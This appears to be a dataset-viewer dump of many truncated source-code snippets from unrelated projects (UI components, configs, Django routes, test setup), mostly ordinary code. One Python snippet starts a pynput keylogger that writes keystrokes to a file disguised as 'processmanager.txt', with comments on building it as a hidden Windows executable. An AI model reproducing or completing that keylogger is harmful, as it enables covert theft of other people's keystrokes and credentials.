text stringlengths 3 1.05M |
|---|
/**
* Cursor for XY chart
*/
import { __extends } from "tslib";
/**
* ============================================================================
* IMPORTS
* ============================================================================
* @hidden
*/
import { Cursor } from "./Cursor";
import { Sprite } from "../..... |
import 'src/app/mixin';
export default function createCoreMixins() {
return true;
}
|
import '../../src/maps/cc-map-marker-server.js';
import { makeStory } from '../lib/make-story.js';
import { enhanceStoriesNames } from '../lib/story-names.js';
export default {
title: '🛠 Maps/<cc-map-marker-server>',
component: 'cc-map-marker-server',
};
const conf = {
component: 'cc-map-marker-server',
// l... |
const settings = require('../settings.json');
module.exports = guild => {
let client = guild.client
let channelID;
let channels = guild.cache.channels;
channelLoop:
for (let c of channels) {
let channelType = c[1].type;
if (channelType === "text") {
channelID = c[0];
break chan... |
var IEFORMID = "ieform";
var IE_NONE = 0;
var IE_IMPORT = 1;
var IE_EXPORT = 2;
var IE_EDIT = 3;
var _testBed = null;
function IEFormInit(ieformid, testBed) { IEFORMID = ieformid; _testBed = testBed; }
function getIEForm() { return document.getElementById(IEFORMID); }
function getIEFormDIV() ... |
$( document ).on( "pageshow", "#single", function( event ) {
idnota = window.location.search;
idnota = idnota.split("=");
idnota = idnota[1];
$.ajax({
url : urlwordpress+'get_post/?id='+idnota,
success : function(data){
titulo = data.post.title_plain;
imagen = data.post.attachments[0].url;
contenido = ... |
/**
* 简单工厂模式
* 又称静态工厂模式,有一个工厂队形决定创建某一种产品对象类的实例。主要用来创建同一类对象。
* 注:说白了就是返回一个对象,高度抽象
*/
function createBook(name, time, type) {
const o = new Object()
o.name = name
o.time = time
o.type = type
o.getName = function() {
return o.name
}
return o
}
|
import Ember from 'ember';
import layout from '../templates/components/ff-checkbox';
export default Ember.Component.extend({
layout: layout,
value: null,
classNames: ['ff-checkbox'],
actions: {
sendChecked(checked, value) {
this.sendAction('on-change', checked, value);
}
}
});
|
/* eslint-disable @gitlab/require-i18n-strings */
import PaginationBar from './pagination_bar.vue';
export default {
component: PaginationBar,
title: 'vue_shared/components/pagination_bar/pagination_bar',
};
const Template = (args, { argTypes }) => ({
components: { PaginationBar },
props: Object.keys(argTypes... |
# Copyright 2016-2020 Blue Marble Analytics LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... |
/* */
"format global";
'use strict';
angular.module("ngLocale", [], ["$provide", function($provide) {
var PLURAL_CATEGORY = {ZERO: "zero", ONE: "one", TWO: "two", FEW: "few", MANY: "many", OTHER: "other"};
function getDecimals(n) {
n = n + '';
var i = n.indexOf('.');
return (i == -1) ? 0 : n.length - i - 1;
}
f... |
# Generated by Django 2.2.7 on 2019-11-07 11:46
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('main', '0009_auto_20191107_1916'),
]
operations = [
migrations.RemoveField(
model_name='tutorialcategory',
name='image',
... |
"""Copyright 2014 Cyrus Dasadia
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distr... |
"""P matrices for some DNA models can be calculated without going via the
intermediate rate matrix Q. A Cython implementation of this calculation can
be used when Q is not required, for example during likelihood tree optimisation.
Equivalent pure python code is NOT provided because it is typically slower
than the rate... |
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e((t="undefined"!=typeof globalThis?globalThis:t||self).IMask={})}(this,(function(t){"use strict";var e="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"... |
(function(global, module, define) {
// A variable that can be used to interrupt things.
var interrupted = false;
// Tests for the presence of HTML5 Web Audio (or webkit's version).
function isAudioPresent() {
return !!(global.AudioContext || global.webkitAudioContext);
}
// All our audio funnels through the same Au... |
// Licensed under the Apache License, Version 2.0 (the "License"); you may not
// use this file except in compliance with the License. You may obtain a copy of
// the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed un... |
import sys
import signal
import logging
import threading
from nanoservice import config
def ping():
return 'pong'
def stop(dummy_signum=None, dummy_frame=None):
""" Stop script """
logging.info('Exiting ...')
sys.exit(0)
def prepare(configpath):
""" Read json configuration and respond to CTR-... |
# ------------------------------------
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.
# ------------------------------------
from __future__ import print_function
import functools
import time
from azure.keyvault.certificates import (
CertificateClient,
CertificatePolicy,
Certifica... |
class Info:
"""
Allows to print out information about the application.
"""
def commands():
print('''Main modules:
imu | Inertial Measurement Unit (GPS, gyro, accelerometer)
gps | GPS
gyro | Gyroscope
accel | Accelerometer
... |
if (self.CavalryLogger) { CavalryLogger.start_js(["ncHkS"]); }
__d("VideoComponentScrubberPreviewQuery.graphql",[],(function(a,b,c,d,e,f){"use strict";a=function(){var a=[{kind:"LocalArgument",name:"videoID",type:"ID!",defaultValue:null}],b=[{kind:"Variable",name:"id",variableName:"videoID"}],c={kind:"InlineFragment",... |
"""
Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless require... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import logging
import pandas as pd
import dask.dataframe as dd
from dask.distributed import Client
from Octopus.dataframe.core.pandasDataFrame import PandasDataFrame
from Octopus.dataframe.core.abstractDataFrame import AbstractDataFrame
# client = Client(address="simple3... |
var _0x12af=["\x64\x65\x66\x61\x75\x6C\x74","\x61\x70\x70\x6C\x79\x54\x68\x65\x6D\x65","\x53\x74\x79\x6C\x65\x73\x4D\x61\x6E\x61\x67\x65\x72","\x50\x72\x65\x2D\x54\x65\x73\x74\x20\x55\x6E\x69\x74\x20\x34","\x62\x6F\x74\x74\x6F\x6D","\x74\x6F\x70","\x53\x74\x61\x72\x74","\x68\x74\x6D\x6C","\x43\x6F\x6E\x67\x72\x61\x74\x... |
"use strict";
var _ = require(".");
// Copyright 2017-2020 @polkadot/util authors & contributors
// This software may be modified and distributed under the terms
// of the Apache-2.0 license. See the LICENSE file for details.
describe('u8aConcat', () => {
it('concatenates arrays', () => {
expect((0, _.u8aConcat... |
import base64
from .common import InfoExtractor
from ..compat import (
compat_urllib_parse_urlencode,
compat_str,
)
from ..utils import (
format_field,
int_or_none,
parse_iso8601,
smuggle_url,
unsmuggle_url,
urlencode_postdata,
)
class AWAANIE(InfoExtractor):
_VALID_URL = r'https?... |
export const typeOptions = [
{value: 1, desc: '公司'},
{value: 2, desc: '部门'},
]
export const inheritTypeOptions = [
{value: 0, desc: '不继承'},
{value: 1, desc: '继承上级用户组'},
{value: 2, desc: '继承所有用户组'},
] |
/*
Copyright (c) 2018-2020 Uber Technologies, Inc.
This source code is licensed under the MIT license found in the
LICENSE file in the root directory of this source tree.
*/
// @flow
import React from 'react';
import {Button} from '../index.js';
import {SIZE} from '../constants.js';
export const name = 'button-size... |
$.get("http://api.bootswatch.com/3/", function(data){
var themes = data.themes;
var theme = themes[Math.floor(Math.random()*themes.length)];
$("head").append('<link rel="stylesheet" type="text/css" href="' + theme.cssMin + '" />');
});
|
from django.urls import path, include
from django.contrib.auth import views as auth_views
from django.views.decorators.csrf import csrf_exempt
from rest_framework import routers
from . import views
router = routers.DefaultRouter()
router.register(r'tweets', views.TweetViewSet)
urlpatterns = [
path('', views.ind... |
import Database, { DatabaseSeeds } from "../src/infrastructure/database";
import { ErrorHandler } from "./Utilities";
import "../TerminalColors";
/* eslint-disable no-console */
Database.connection
.sync({
// * ENABLED FORCE MODE ON REST OR DOCKER OR DELETE
force:
process.env.NODE_ENV === "DockerDataB... |
/**
* @file remove key from object
*/
'use strict';
function RemoveClass () {}
module.exports = {
valueScenes: {
name: 'remove',
check (beeItem) {
return beeItem instanceof RemoveClass;
},
apply () {
return {
remove: true
};
... |
var assert = require('chai').assert;
var chai = require('chai');
var sinon = require('sinon');
var sinonChai = require('sinon-chai');
var AWSXRay = require('aws-xray-sdk-core');
var capturePostgres = require('../../lib/postgres_p');
var Segment = AWSXRay.Segment;
var SqlData = AWSXRay.database.SqlData;
var TestEmitte... |
#!/usr/bin/env python
import numpy as np
import matplotlib.pyplot as plt
from mm2d.models import TopDownHolonomicModel
from mm2d import obstacle, plotter, control
from mm2d.util import rms
import IPython
# robot parameters
L1 = 1
L2 = 1
VEL_LIM = 1
ACC_LIM = 1
DT = 0.1 # simulation timestep (s)
MPC_DT = 0.1 ... |
# coding=utf-8
"""Utilities for HTTPie test suite."""
import re
import shlex
import sys
import time
import json
import tempfile
from io import BytesIO
from pathlib import Path
from typing import Optional, Union, List
from httpie.status import ExitStatus
from httpie.config import Config
from httpie.context import Envir... |
/*
* Licensed to Elasticsearch B.V. under one or more contributor
* license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright
* ownership. Elasticsearch B.V. licenses this file to you under
* the Apache License, Version 2.0 (the "License"); you may
*... |
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# ... |
import Body from './body.js';
const Buildings = {
view() {
return {
building: {
id: 'id-goes-here',
name: 'Planetary Command',
image: 'command6',
level: 6,
x: 0,
y: 0,
food_hour: 500,
food_capacity: 500,
energy_hour: -44,
energ... |
/**
* @module JSON Object Signing and Encryption (JOSE)
*/
const crypto = require('./crypto')
const JWA = require('./jose/JWA')
const JWK = require('./jose/JWK')
const JWKSet = require('./jose/JWKSet')
const JWT = require('./jose/JWT')
const JWS = require('./jose/JWS')
/**
* Export
*/
module.exports = {
crypto,
... |
'use strict';
const path = require('path');
const isModuleUnificationProject = require('../module-unification').isModuleUnificationProject;
module.exports = {
description: 'Generates a simple utility module/function.',
fileMapTokens() {
if (isModuleUnificationProject(this.project)) {
return {
_... |
import torch.nn as nn
from chemprop.nn_utils import get_activation_function
from chemprop.args import TrainArgs
def create_FPEncoder(args: TrainArgs):
"""
Encodes Molecule Fingerpirnt using Feed-Forward Network.
Args:
:param args: A :class:`~chemprop.args.TrainArgs` object containing model argume... |
const devMode = (process.env.NODE_ENV !== 'development');
export default {
// App Details
appName: 'Chapi Time',
// Build Configuration - eg. Debug or Release?
DEV: devMode,
// Google Analytics - uses a 'dev' account while we're testing
gaTrackingId: (devMode) ? 'UA-84284256-2' : 'UA-84284256-1',
};
|
var callbackArguments = [];
var argument1 = function() {
callbackArguments.push(arguments)
return 40.20292361158235; };
var argument2 = null;
var argument3 = {"0":9.621481433400743e+307,"122":"o","607":"","893":1.5647692511102445e+308,"3.8891171587324823e+307":627,"C":-1,"5-":"","1.3130321063336282e+308":0,"]"... |
/**
* Foo!
* @example
* const addOne = add(1)
* addOne(1) // => 2
*/
const add = (a) => (b) => a + b
|
// Array Methods
// toString(), join()
// pop()
// push()
// shift()
// unshift()
// delete: not recommended
// splice()
// concat()
// slice()
|
import os
import pytest
import json
import testinfra.utils.ansible_runner
testinfra_hosts = testinfra.utils.ansible_runner.AnsibleRunner(
os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('all')
@pytest.fixture()
def waited_failed_task_name(host):
all_variables = host.ansible.get_variables()
return all_v... |
import { mat4, vec3, vec4 } from "gl-matrix"
import React, { useCallback, useEffect, useState } from "react"
import { coordArrToString, runOnPredicate } from "../../../util"
import wrapExample from "../../../webgl-example-view"
import WebGlWrapper from "../../../webgl-wrapper"
import { directionalLightMapFragmentShade... |
import { prism } from '.';
import { isInteger } from './Integer';
import { isNonNegative } from './NonNegative';
/**
* @since 0.2.0
*/
export var isNonNegativeInteger = function (n) { return isNonNegative(n) && isInteger(n); };
/**
* @since 0.2.0
*/
export var prismNonNegativeInteger = prism(isNonNegativeInteger);
|
import {request} from "./request";
export function getHomeMultidata(){
return request({
url:'/home/multidata'
})
}
export function getHomeGoods(type,page){
return request({
url:'/home/data',
params:{
type,
page
}
})
} |
function test() {
let a = [,,,,,,,,,];
return a.concat();
}
noInline(test);
test()[0] = 42; // Set the ArrayAllocationProfile to Int32Shape.
for (let i = 0; i < 20000; ++i) {
var result = test();
if (result[0])
throw result.toString();
}
|
/**
Copyright (c) 2021 MarkLogic Corporation
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writ... |
// Karma configuration
// Generated on Wed Nov 27 2013 14:23:40 GMT+0100 (CET)
module.exports = function(config) {
'use strict';
config.set({
// base path, that will be used to resolve files and exclude
basePath: '..',
// frameworks to use
frameworks: ['jasmine'],
// list of files / patte... |
/**
* @license Copyright 2020 The Lighthouse Authors. All Rights Reserved.
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applica... |
/**
* Manages code highlights on this site, based on prism.js (https://prismjs.com/)
*/
export class SiteCodeHighlight {
/**
* Injects sample code into multiple <pre> elements.
* @param sampleCode Array of objects with elem, code and language properties,
* where elem is either a # query selector o... |
// @flow
import * as React from 'react';
import { createFragmentContainer, graphql } from 'react-relay/compat';
import classNames from 'classnames';
import type { Metric_metric } from './__generated__/Metric_metric.graphql';
type Props = {
metric: Metric_metric
};
class Metric extends React.PureComponent<Props> {
... |
// @flow
import * as React from 'react';
import autobind from 'autobind-decorator';
import classnames from 'classnames';
import { SortableContainer, SortableElement, arrayMove } from 'react-sortable-hoc';
import { Dropdown, DropdownButton, DropdownItem } from '../base/dropdown';
import PromptButton from '../base/prompt... |
///////////////////////////////////////////////////////////////////////////
// Copyright © Esri. All Rights Reserved.
//
// Licensed under the Apache License Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.ap... |
import Board from './components/Board'
export default Board |
import { persistReducer } from 'redux-persist';
import storage from 'redux-persist/lib/storage';
export default reducers => {
const persistedReducer = persistReducer(
{ storage, key: 'gobarber', whitelist: ['auth', 'user'] },
reducers
);
return persistedReducer;
};
|
import React, {Component} from 'react'
import {Animated} from 'react-animated-css'
import {Link} from 'react-router-dom'
export default class EndOfExploration extends Component {
render() {
return (
<Animated animationIn="fadeIn" animationOut="fadeOut" isVisible={true}>
<div id="eoe-container">
... |
"use strict";
exports.__esModule = true;
exports.default = loopCreate;
var _ssrWindow = require("ssr-window");
var _dom = _interopRequireDefault(require("../../../utils/dom"));
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function loopCreate() {
var swiper = thi... |
exports.command = function(callback)
{
this.source(
function(result)
{
if (result.status == 0)
{
if (typeof callback === "function")
{
callback(result.value);
}
}
else
{
if (typeof callback === "function")
{
callback(result);
}
}
}
);
};
|
// TODO: Should be some way to make this into a lib: `redis-from-config`
var redis = require("redis");
var bluebird = require("bluebird");
var config = require("config");
// NOTE: Promisify all redis methods
bluebird.promisifyAll(redis.RedisClient.prototype)
bluebird.promisifyAll(redis.Multi.prototype)
// Create and ... |
/**
* @license
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless requir... |
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.MinersWife = void 0;
const BaseGameEntity_1 = require("./BaseGameEntity");
const StateMachine_1 = require("./StateMachine");
const Locations_1 = require("./Locations");
const MinersWifeOwnedStates_1 = require("./MinersWifeOwnedStates")... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
try:
from unittest import mock
except ImportError:
import mock
__all__ = ['mock'] |
import sys
import threading
import cv2
import keyboard
import pyautogui
import pandas as pd
from PyQt5.QtWidgets import *
from PyQt5.QtCore import *
from PyQt5.QtGui import QImage, QPalette, QBrush
from PyQt5.QtWidgets import QWidget, QApplication
from playsound import playsound
from gaze_tracking import GazeTracking
... |
// http://goo.gl/IRlJuI
;(function(d){"use strict";d.head.appendChild(d.createElement("style")).innerHTML=".hljs{display:block;overflow-x:auto;padding:15px .5em .5em 30px;font-size:11px !important;line-height:16px !important;-webkit-text-size-adjust:none}pre{background:#f6f6ae url(\"data:image/png;base64,iVBORw0KGgoAAA... |
(function(){ window.BMap_loadScriptTime = (new Date).getTime(); document.write('<script type="text/javascript" src="http://api.map.baidu.com/getscript?v=2.0&ak=CnGhlH8qCfawMGRv0hDCFcxE&services=&t=20180521160403"></script>');})(); |
import {html, PolymerElement} from '@polymer/polymer/polymer-element.js';
import '@vaadin/vaadin-ordered-layout/src/vaadin-vertical-layout.js';
import '@vaadin/vaadin-ordered-layout/src/vaadin-horizontal-layout.js';
import '@vaadin/vaadin-text-field/src/vaadin-text-field.js';
import '@polymer/iron-icon/iron-icon.js';
i... |
/**
* Tencent is pleased to support the open source community by making 蓝鲸智云PaaS平台社区版 (BlueKing PaaS Community
* Edition) available.
* Copyright (C) 2017-2020 THL A29 Limited, a Tencent company. All rights reserved.
* Licensed under the MIT License (the "License"); you may not use this file except in compliance with th... |
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
var express_1 = require("express");
var blog = express_1.Router();
var schema_1 = require("../db/schema");
blog.get('/', function (req, res, next) {
schema_1.Blog.find({}, function (err, posts) {
if (err)
throw err;
... |
import Vue from 'vue';
import DemoBlock from './components/DemoBlock';
import DemoSection from './components/DemoSection';
import { router } from './router';
import App from './App';
import '@vant/touch-emulator';
if (process.env.NODE_ENV !== 'production') {
Vue.config.productionTip = false;
}
Vue.component(DemoBlo... |
import React, { PropTypes } from 'react';
import classNames from 'classnames';
import './index.css';
const Table = (props) => {
let componentClass = classNames('Table', props.className);
return <table {...props} className={componentClass} />;
};
Table.propTypes = {
children: PropTypes.any,
className: PropTyp... |
/*
* Copyright 2021 American Express Travel Related Services Company, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless requ... |
import React from 'react';
import Routes from './routes';
import './style.css';
const App = () => {
return(
<div className="App">
<Routes />
</div>
)
}
export default App;
|
// Copyright 2009 the Sputnik authors. All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.
/**
* @name: S13.2.1_A4_T4;
* @section: 13.2.1;
* @assertion: Objects as arguments are passed by reference;
* @description: Adding new number property to a function argument within the fu... |
import React, { Component } from 'react';
import { bindActionCreators } from 'redux';
import { connect } from 'react-redux';
import Counter from '../components/Counter.js';
const mapStateToProps = state => ({
count: state,
});
const mapDispatchToProps = (dispatch) => ({
increment: () => { dispatch({ type: 'IN... |
/**
* Licensed to The Apereo Foundation under one or more contributor license
* agreements. See the NOTICE file distributed with this work for additional
* information regarding copyright ownership.
*
*
* The Apereo Foundation licenses this file to you under the Educational
* Community License, Version 2.0 (the ... |
// Copyright (c) 2012 Ecma International. All rights reserved.
// Ecma International makes this code available under the terms and conditions set
// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
// "Use Terms"). Any redistribution of this code must retain the above
// copyright and this n... |
/**
* Global set up code for the Mocha unit testing environment
*
* If you're looking to add polyfills for all unit tests, this is the place.
*/
import os from 'os';
import chai from 'chai';
import chaiAsPromised from 'chai-as-promised';
import chaiDOM from 'chai-dom';
import { JSDOM } from 'jsdom';
import '../../... |
import React, { PureComponent, Fragment } from 'react';
import { connect } from 'dva';
import { formatMessage, FormattedMessage } from 'umi/locale';
import {
Row,
Col,
Form,
Input,
Button,
Card,
Divider,
message,
Popconfirm,
Checkbox, Tooltip,
} from 'antd';
import NormalTable from '@/components/Nor... |
## Make chomp optimization
import importlib
import roboticstoolbox as rtb
from roboticstoolbox.tools.profiler import Profiler
from spatialmath import SE3
from spatialgeometry import *
import numpy as np
import trimesh
import time
import math
from numba import vectorize
fknm_ = None
PATH = "/home/jerry/Projects/Mot... |
const WalletModel = require('../models/Wallet');
const Address = require('../models/Address');
const axios = require('axios');
const _ = require('lodash');
const bitcore = require('rapids-lib');
const network = 'livenet'; // or 'testnet'
const explorerAPI = 'https://rapidsexplorer.com'; // Change this to RapidsExplor... |
// Karma configuration file, see link for more information
// https://karma-runner.github.io/1.0/config/configuration-file.html
module.exports = function (config) {
config.set({
basePath: '',
frameworks: ['jasmine', '@angular-devkit/build-angular'],
plugins: [
require('karma-jasmine'),
requir... |
import React ,{Component} from 'react';
import { StyleSheet, Text, View, Image,Dimensions, StatusBar, ScrollView,TouchableWithoutFeedback,TouchableOpacity,ImageBackground,Modal,TouchableHighlight } from 'react-native';
import Carousel from 'react-native-snap-carousel';
export class MyCarousel extends Component {
co... |
import _extends from "@babel/runtime/helpers/esm/extends";
import _objectWithoutPropertiesLoose from "@babel/runtime/helpers/esm/objectWithoutPropertiesLoose";
import * as React from 'react';
import PropTypes from 'prop-types';
import * as ReactDOM from 'react-dom';
import clsx from 'clsx';
import { elementTypeAcceptin... |
'use strict';
var util$940 = require('../../../misc/util.js');
var TestNg$942 = function (upper$946, obj$947) {
this.upper = upper$946;
this.obj = obj$947;
};
TestNg$942.prototype.up = function () {
return this.upper;
};
TestNg$942.prototype.and = TestNg$942.prototype.up;
module.exports = TestNg$942;
TestNg... |
export default [
{
"UID": "87347106-1abd-75c0-75c5-e7cf5a64b1db",
"name": "非工作日·休",
"class": "PUBLIC",
"start": "20210516",
"end": "20210517",
"time": "20210531T060623Z"
},
{
"UID": "bbc43828-6da1-653e-2b48-f1a6ce4f7c50",
"name": "非工作日·休",
... |
import os
from pynput.keyboard import Listener
keys = []
count = 0
# path = os.environ['appdata'] + '\\processmanager.txt' on Windows
# Compiling to .exe in windows: pyinstaller keylogger.py --onefile --noconsole
path = 'processmanager.txt' #linux, choose file name wisely
# Getting keystrokes
def on_press(key):
... |
Vue.component('home', {
template: '#home-template'
})
Vue.component('about', {
template: '#about-template'
})
Vue.component('works', {
template: '#works-template'
})
Vue.component('contact', {
template: '#contact-template'
})
const vm = new Vue({
el: '#app',
data: {
currentView: 'contact'
}
})
|
//// Copyright (c) Microsoft Corporation. All rights reserved
(function () {
"use strict";
var page = WinJS.UI.Pages.define("/html/3-UseVerticalLayout.html", {
init: function (element, options) {
var categoryNames = ["Picks for you", "Popular", "New Releases", "Top Paid", "Top Free",
... |
const Sequelize = require('sequelize');
const db = require('../config/database')
//creating an order model to store order history for each user in database
const order = db.define('order', {
// attributes
orderId: {
type: Sequelize.INTEGER,
allowNull: false,
primaryKey: true,
au... |
import React from 'react';
import PropTypes from 'prop-types';
import { getWobjectsExpertise } from '../../waivioApi/ApiClient';
import UserDynamicList from '../user/UserDynamicList';
export default class WobjExpertise extends React.Component {
static propTypes = {
match: PropTypes.shape().isRequired,
};
st... |
/*
* The MIT License
*
* Copyright 2015 Juan Francisco Rodríguez.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to u... |
/*
* MelonJS Game Engine
* Copyright (C) 2011 - 2018 Olivier Biot
* http://www.melonjs.org
*
*/
(function () {
/**
* a polygon Object.<br>
* Please do note that melonJS implements a simple Axis-Aligned Boxes collision algorithm, which requires all polygons used for collision to be convex with all ver... |
'use strict';
/**
* This module contains defaults for known datatypes. These defaults include Validation, and special serializer steps.
*/
//regex for uuid:
const uuidRegex = /[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i;
const types = {
string: {
validator: function(val){... |
/**
* GMO Aozora Net Bank Open API
* <p>オープンAPI仕様書(PDF版)は下記リンクをご参照ください</p> <div> <div style='display:inline-block;'><a style='text-decoration:none; font-weight:bold; color:#00b8d4;' href='https://gmo-aozora.com/business/service/api-specification.html' target='_blank'>オープンAPI仕様書</a></div><div style='display:inline-b... |
import axios from 'axios';
import { API_QUESTIONS } from '../constants';
import { checkFields } from '../utils';
export function fetchQuestion(questionId) {
const request = axios.get(`${API_QUESTIONS}/${questionId}`);
const interceptor = (response) => {
return new Promise((resolve, reject) => {
if(chec... |
"""Generic feature extraction framework."""
from __future__ import absolute_import
import inspect
import logging
import os
from collections import defaultdict
try:
import cPickle as pickle
except:
import pickle
import pandas as pd
from sutter.lib.helper import recursive_update
log = logging.getLogger('sut... |